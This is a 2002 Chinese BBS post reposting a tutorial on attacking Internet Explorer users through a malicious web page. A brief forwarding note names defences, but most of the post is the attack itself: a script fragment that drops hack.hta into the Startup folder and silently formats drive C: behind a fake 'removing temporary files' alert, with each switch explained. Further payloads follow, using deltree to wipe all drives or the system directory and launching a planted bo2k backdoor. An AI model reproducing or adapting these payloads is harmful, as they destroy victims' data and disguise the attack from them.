荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: ethanwy (朽木儿), 信区: Microsoft
标 题: 通过网页攻击客户机
发信站: 荔园晨风BBS站 (Wed Apr 24 08:29:10 2002), 转信
3vzi.net注:次文章就是通过Active控件进行攻击,攻击过程中调用format.exe,从而达到
格式化客户机磁盘的目的.
防护办法:不执行不知名的Active控件或者把机器中那些不太常用的命令,如format.exe
,进行更名.
文件作者∶FUCK
前叙∶
这项技术是在没多久以前台湾所流行的攻击法，你知道利用漏洞的厉害在哪吗？
这一项教学就是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来
的
攻击方法。
教学开始∶
以下这段就是具有破坏性的HTML
Hacking Your Computer .
scr.Reset();
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta";
scr.Doc="
wsh.Run('start.exe /m format c:/q /autotest /u');
alert('IMPORTANT : Windows is removing unused temporary files.');";
scr.write();
(懂HTML的人应该就看得出来其中精随)
现在我大概来解释其中几个项目所写的意思
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"
这一项就是指当你看到这网页它会写入到你的电脑启动目录底下，并命名为hack.hta
wsh.Run('start.exe /m format c:/q /autotest /u');
通常要格式化硬碟都会先问你是否要执行，但其中的"/autotest"这项。
它是一个微软没有公开的功能，键入後format的动作便会被强制执行。
这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。
最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小化的
状态。
执行其他攻击指令的方法∶
只要修改“start.exe /m format c:/q /autotest /u”这一项便形。
start.exe /m format c:/q /autotest /u
其中的“c:”可以换做其他的硬碟。
(path)\bo2k.exe
执行它电脑中的某个程式，如果你有传bo2k到它电脑中就可以使用此指令。
start.exe /m deltree /y a:\*.* c:\*.* d:\*.*
杀掉对方硬碟底下所有的档案。
start.exe /m deltree /y c:\windows\system\*.*
杀掉对方c:\windows\system\目录底下的所有档案。
后叙∶
预防遭此手段的破坏就是到微软去更新你的浏览器
--
\_\/ .-==/~\
___/_,__,_ __ ____ ____ __)/ /{~}}
---,---,------------------,\'-' {{~}
'-==\}/
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 61.142.51.35]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店